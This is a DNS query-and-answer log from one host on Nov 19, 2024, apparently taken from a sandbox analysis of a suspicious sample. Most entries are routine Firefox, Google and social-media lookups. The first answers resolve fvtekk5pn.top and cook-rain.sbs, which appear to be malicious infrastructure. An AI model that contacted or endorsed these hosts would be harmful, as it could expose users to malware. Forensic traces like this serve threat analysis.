Nov 19, 2024 22:10:49.545170069 CET	192.168.2.4	1.1.1.1	0x99aa	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:49.624030113 CET	192.168.2.4	1.1.1.1	0xf119	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 22:10:49.661849976 CET	192.168.2.4	1.1.1.1	0x64c2	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:10:49.740767956 CET	192.168.2.4	1.1.1.1	0xc1f7	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 22:10:51.782380104 CET	192.168.2.4	1.1.1.1	0x2208	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:10:53.271758080 CET	192.168.2.4	1.1.1.1	0x5b58	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:53.271759033 CET	192.168.2.4	1.1.1.1	0xc00	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:53.272453070 CET	192.168.2.4	1.1.1.1	0xbe41	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:53.364532948 CET	192.168.2.4	1.1.1.1	0xfe12	Standard query (0)	twitter.com	28	IN (0x0001)	false
Nov 19, 2024 22:10:53.364588976 CET	192.168.2.4	1.1.1.1	0x4ad	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 19, 2024 22:10:53.365108967 CET	192.168.2.4	1.1.1.1	0x70d6	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Nov 19, 2024 22:10:55.060251951 CET	192.168.2.4	1.1.1.1	0xb0c8	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 22:11:05.266005993 CET	192.168.2.4	1.1.1.1	0x790a	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:11:05.358736038 CET	192.168.2.4	1.1.1.1	0x5f1	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 22:11:10.749670982 CET	192.168.2.4	1.1.1.1	0x471f	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:11:19.167308092 CET	192.168.2.4	1.1.1.1	0xd233	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:11:19.246022940 CET	192.168.2.4	1.1.1.1	0x5116	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:11:19.339029074 CET	192.168.2.4	1.1.1.1	0xae6c	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:11:19.339221954 CET	192.168.2.4	1.1.1.1	0x4c91	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:11:25.722769976 CET	192.168.2.4	1.1.1.1	0x45be	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:11:25.814759970 CET	192.168.2.4	1.1.1.1	0x6f6	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 22:11:41.991548061 CET	192.168.2.4	1.1.1.1	0x7354	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:11:54.277966022 CET	192.168.2.4	1.1.1.1	0x9ed0	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 22:11:54.477515936 CET	192.168.2.4	1.1.1.1	0xce37	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:12:06.028589964 CET	192.168.2.4	1.1.1.1	0x30a0	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:12:06.122632027 CET	192.168.2.4	1.1.1.1	0x4f9e	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 22:12:52.488169909 CET	192.168.2.4	1.1.1.1	0xa38b	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:13:26.329195023 CET	192.168.2.4	1.1.1.1	0xde4f	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:13:26.421154022 CET	192.168.2.4	1.1.1.1	0xe087	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:13:26.512456894 CET	192.168.2.4	1.1.1.1	0x6e31	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 22:13:26.710289001 CET	192.168.2.4	1.1.1.1	0xb6c7	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:13:54.604561090 CET	192.168.2.4	1.1.1.1	0x1b19	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 19, 2024 22:07:12.851639986 CET	1.1.1.1	192.168.2.4	0xc645	No error (0)	home.fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:16.940916061 CET	1.1.1.1	192.168.2.4	0x1a35	No error (0)	cook-rain.sbs		172.67.155.248	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:16.940916061 CET	1.1.1.1	192.168.2.4	0x1a35	No error (0)	cook-rain.sbs		104.21.66.38	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:39.886979103 CET	1.1.1.1	192.168.2.4	0xd4f3	No error (0)	www.google.com		142.251.35.164	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:39.886991978 CET	1.1.1.1	192.168.2.4	0xc8cd	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 19, 2024 22:07:42.999825001 CET	1.1.1.1	192.168.2.4	0xffa	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:43.115950108 CET	1.1.1.1	192.168.2.4	0x8794	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:44.885910034 CET	1.1.1.1	192.168.2.4	0x2db1	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:47.976344109 CET	1.1.1.1	192.168.2.4	0xad54	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:47.976344109 CET	1.1.1.1	192.168.2.4	0xad54	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:47.976825953 CET	1.1.1.1	192.168.2.4	0xa355	No error (0)	youtube.com		142.251.32.110	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:48.068629026 CET	1.1.1.1	192.168.2.4	0x2f6a	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:48.068995953 CET	1.1.1.1	192.168.2.4	0xae2e	No error (0)	youtube.com		142.250.72.110	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:48.160165071 CET	1.1.1.1	192.168.2.4	0x8d64	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 19, 2024 22:07:48.160912037 CET	1.1.1.1	192.168.2.4	0x2f0d	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 19, 2024 22:07:48.599497080 CET	1.1.1.1	192.168.2.4	0xc85a	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:48.661103010 CET	1.1.1.1	192.168.2.4	0x8f11	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:48.661395073 CET	1.1.1.1	192.168.2.4	0x70f6	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:48.661395073 CET	1.1.1.1	192.168.2.4	0x70f6	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:49.339943886 CET	1.1.1.1	192.168.2.4	0xea0e	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:49.341546059 CET	1.1.1.1	192.168.2.4	0x230d	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:49.341546059 CET	1.1.1.1	192.168.2.4	0x230d	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:49.431289911 CET	1.1.1.1	192.168.2.4	0xf900	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:49.544380903 CET	1.1.1.1	192.168.2.4	0xf74f	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:49.544380903 CET	1.1.1.1	192.168.2.4	0xf74f	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:49.575870037 CET	1.1.1.1	192.168.2.4	0x94ac	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:49.575870037 CET	1.1.1.1	192.168.2.4	0x94ac	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:49.617873907 CET	1.1.1.1	192.168.2.4	0xc641	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:49.617873907 CET	1.1.1.1	192.168.2.4	0xc641	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:49.617873907 CET	1.1.1.1	192.168.2.4	0xc641	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:49.640162945 CET	1.1.1.1	192.168.2.4	0xd248	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:49.668128967 CET	1.1.1.1	192.168.2.4	0x6cb4	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:49.721432924 CET	1.1.1.1	192.168.2.4	0xb489	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:49.821225882 CET	1.1.1.1	192.168.2.4	0xfd93	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 19, 2024 22:07:49.841826916 CET	1.1.1.1	192.168.2.4	0xc8a0	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:52.447076082 CET	1.1.1.1	192.168.2.4	0xbce8	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:52.447076082 CET	1.1.1.1	192.168.2.4	0xbce8	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:52.447076082 CET	1.1.1.1	192.168.2.4	0xbce8	No error (0)	shed.dual-low.s-part-0012.t-0009.t-msedge.net	s-part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:52.447076082 CET	1.1.1.1	192.168.2.4	0xbce8	No error (0)	s-part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:52.448291063 CET	1.1.1.1	192.168.2.4	0x16bb	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:52.448291063 CET	1.1.1.1	192.168.2.4	0x16bb	No error (0)	shed.dual-low.s-part-0010.t-0009.t-msedge.net	s-part-0010.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:52.448291063 CET	1.1.1.1	192.168.2.4	0x16bb	No error (0)	s-part-0010.t-0009.t-msedge.net		13.107.246.38	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:52.448558092 CET	1.1.1.1	192.168.2.4	0xb35d	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:52.449244976 CET	1.1.1.1	192.168.2.4	0xa79b	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:52.449244976 CET	1.1.1.1	192.168.2.4	0xa79b	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:52.866862059 CET	1.1.1.1	192.168.2.4	0x5a07	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:52.867523909 CET	1.1.1.1	192.168.2.4	0xfbc8	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:53.311810970 CET	1.1.1.1	192.168.2.4	0xdad4	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:53.311878920 CET	1.1.1.1	192.168.2.4	0x7a9c	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:53.311878920 CET	1.1.1.1	192.168.2.4	0x7a9c	No error (0)	shed.dual-low.s-part-0010.t-0009.t-msedge.net	s-part-0010.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:53.311878920 CET	1.1.1.1	192.168.2.4	0x7a9c	No error (0)	s-part-0010.t-0009.t-msedge.net		13.107.246.38	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:53.352319002 CET	1.1.1.1	192.168.2.4	0xa8d9	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:53.352319002 CET	1.1.1.1	192.168.2.4	0xa8d9	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:53.352319002 CET	1.1.1.1	192.168.2.4	0xa8d9	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:53.445940971 CET	1.1.1.1	192.168.2.4	0x9a83	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:53.537123919 CET	1.1.1.1	192.168.2.4	0xf79	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:53.537123919 CET	1.1.1.1	192.168.2.4	0xf79	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:53.537123919 CET	1.1.1.1	192.168.2.4	0xf79	No error (0)	shed.dual-low.s-part-0012.t-0009.t-msedge.net	s-part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:53.537123919 CET	1.1.1.1	192.168.2.4	0xf79	No error (0)	s-part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:53.538081884 CET	1.1.1.1	192.168.2.4	0xd46f	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:53.538081884 CET	1.1.1.1	192.168.2.4	0xd46f	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:55.493043900 CET	1.1.1.1	192.168.2.4	0xa69a	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:55.503010035 CET	1.1.1.1	192.168.2.4	0xee40	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:55.614551067 CET	1.1.1.1	192.168.2.4	0xf6e8	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 19, 2024 22:07:55.614720106 CET	1.1.1.1	192.168.2.4	0x6d5e	No error (0)	www.google.com		142.250.176.196	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:57.378551960 CET	1.1.1.1	192.168.2.4	0xfa70	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:07:57.380410910 CET	1.1.1.1	192.168.2.4	0x922f	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:08:09.455064058 CET	1.1.1.1	192.168.2.4	0xfb24	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:09.555041075 CET	1.1.1.1	192.168.2.4	0x1c0c	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:09.660123110 CET	1.1.1.1	192.168.2.4	0x6171	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:08:09.660123110 CET	1.1.1.1	192.168.2.4	0x6171	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:09.661664963 CET	1.1.1.1	192.168.2.4	0xc91b	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:09.790323019 CET	1.1.1.1	192.168.2.4	0x30a0	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:08:09.790323019 CET	1.1.1.1	192.168.2.4	0x30a0	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:09.885185957 CET	1.1.1.1	192.168.2.4	0xe1d9	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:09.950412989 CET	1.1.1.1	192.168.2.4	0xb34e	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:09.950412989 CET	1.1.1.1	192.168.2.4	0xb34e	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:09.950412989 CET	1.1.1.1	192.168.2.4	0xb34e	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:09.950412989 CET	1.1.1.1	192.168.2.4	0xb34e	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.050637007 CET	1.1.1.1	192.168.2.4	0x2995	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.050637007 CET	1.1.1.1	192.168.2.4	0x2995	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.050637007 CET	1.1.1.1	192.168.2.4	0x2995	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.050637007 CET	1.1.1.1	192.168.2.4	0x2995	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.107417107 CET	1.1.1.1	192.168.2.4	0x801e	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.146881104 CET	1.1.1.1	192.168.2.4	0xa34b	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 19, 2024 22:08:10.146881104 CET	1.1.1.1	192.168.2.4	0xa34b	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 19, 2024 22:08:10.146881104 CET	1.1.1.1	192.168.2.4	0xa34b	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 19, 2024 22:08:10.146881104 CET	1.1.1.1	192.168.2.4	0xa34b	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 19, 2024 22:08:10.204273939 CET	1.1.1.1	192.168.2.4	0x79a6	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.539551973 CET	1.1.1.1	192.168.2.4	0xc5a4	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:08:10.539551973 CET	1.1.1.1	192.168.2.4	0xc5a4	No error (0)	youtube-ui.l.google.com		142.250.80.78	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.539551973 CET	1.1.1.1	192.168.2.4	0xc5a4	No error (0)	youtube-ui.l.google.com		142.250.72.110	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.539551973 CET	1.1.1.1	192.168.2.4	0xc5a4	No error (0)	youtube-ui.l.google.com		142.250.80.110	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.539551973 CET	1.1.1.1	192.168.2.4	0xc5a4	No error (0)	youtube-ui.l.google.com		142.250.176.206	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.539551973 CET	1.1.1.1	192.168.2.4	0xc5a4	No error (0)	youtube-ui.l.google.com		142.250.64.110	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.539551973 CET	1.1.1.1	192.168.2.4	0xc5a4	No error (0)	youtube-ui.l.google.com		142.250.65.238	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.539551973 CET	1.1.1.1	192.168.2.4	0xc5a4	No error (0)	youtube-ui.l.google.com		142.251.32.110	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.539551973 CET	1.1.1.1	192.168.2.4	0xc5a4	No error (0)	youtube-ui.l.google.com		142.251.41.14	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.539551973 CET	1.1.1.1	192.168.2.4	0xc5a4	No error (0)	youtube-ui.l.google.com		142.250.80.46	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.539551973 CET	1.1.1.1	192.168.2.4	0xc5a4	No error (0)	youtube-ui.l.google.com		142.250.80.14	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.539551973 CET	1.1.1.1	192.168.2.4	0xc5a4	No error (0)	youtube-ui.l.google.com		142.250.81.238	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.539551973 CET	1.1.1.1	192.168.2.4	0xc5a4	No error (0)	youtube-ui.l.google.com		142.250.65.174	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.539551973 CET	1.1.1.1	192.168.2.4	0xc5a4	No error (0)	youtube-ui.l.google.com		142.251.40.238	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.539551973 CET	1.1.1.1	192.168.2.4	0xc5a4	No error (0)	youtube-ui.l.google.com		142.251.40.206	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.539551973 CET	1.1.1.1	192.168.2.4	0xc5a4	No error (0)	youtube-ui.l.google.com		142.251.35.174	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.539551973 CET	1.1.1.1	192.168.2.4	0xc5a4	No error (0)	youtube-ui.l.google.com		142.250.65.206	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.542411089 CET	1.1.1.1	192.168.2.4	0xd8f6	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:08:10.542411089 CET	1.1.1.1	192.168.2.4	0xd8f6	No error (0)	star-mini.c10r.facebook.com		157.240.241.35	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.545087099 CET	1.1.1.1	192.168.2.4	0xbda8	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:08:10.545087099 CET	1.1.1.1	192.168.2.4	0xbda8	No error (0)	dyna.wikimedia.org		208.80.154.224	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.562172890 CET	1.1.1.1	192.168.2.4	0x6ad4	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:08:10.562172890 CET	1.1.1.1	192.168.2.4	0x6ad4	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:08:10.617017984 CET	1.1.1.1	192.168.2.4	0x6ad4	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:08:10.617017984 CET	1.1.1.1	192.168.2.4	0x6ad4	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:08:10.631685019 CET	1.1.1.1	192.168.2.4	0x22f2	No error (0)	youtube-ui.l.google.com		142.250.65.238	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.631685019 CET	1.1.1.1	192.168.2.4	0x22f2	No error (0)	youtube-ui.l.google.com		142.251.41.14	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.631685019 CET	1.1.1.1	192.168.2.4	0x22f2	No error (0)	youtube-ui.l.google.com		142.250.80.78	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.631685019 CET	1.1.1.1	192.168.2.4	0x22f2	No error (0)	youtube-ui.l.google.com		142.251.35.174	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.631685019 CET	1.1.1.1	192.168.2.4	0x22f2	No error (0)	youtube-ui.l.google.com		142.250.81.238	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.631685019 CET	1.1.1.1	192.168.2.4	0x22f2	No error (0)	youtube-ui.l.google.com		142.250.80.110	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.631685019 CET	1.1.1.1	192.168.2.4	0x22f2	No error (0)	youtube-ui.l.google.com		142.251.40.174	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.631685019 CET	1.1.1.1	192.168.2.4	0x22f2	No error (0)	youtube-ui.l.google.com		142.250.65.174	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.631685019 CET	1.1.1.1	192.168.2.4	0x22f2	No error (0)	youtube-ui.l.google.com		142.250.80.46	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.631685019 CET	1.1.1.1	192.168.2.4	0x22f2	No error (0)	youtube-ui.l.google.com		142.250.65.206	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.631685019 CET	1.1.1.1	192.168.2.4	0x22f2	No error (0)	youtube-ui.l.google.com		142.251.32.110	A (IP address)	IN (0x0001)	false
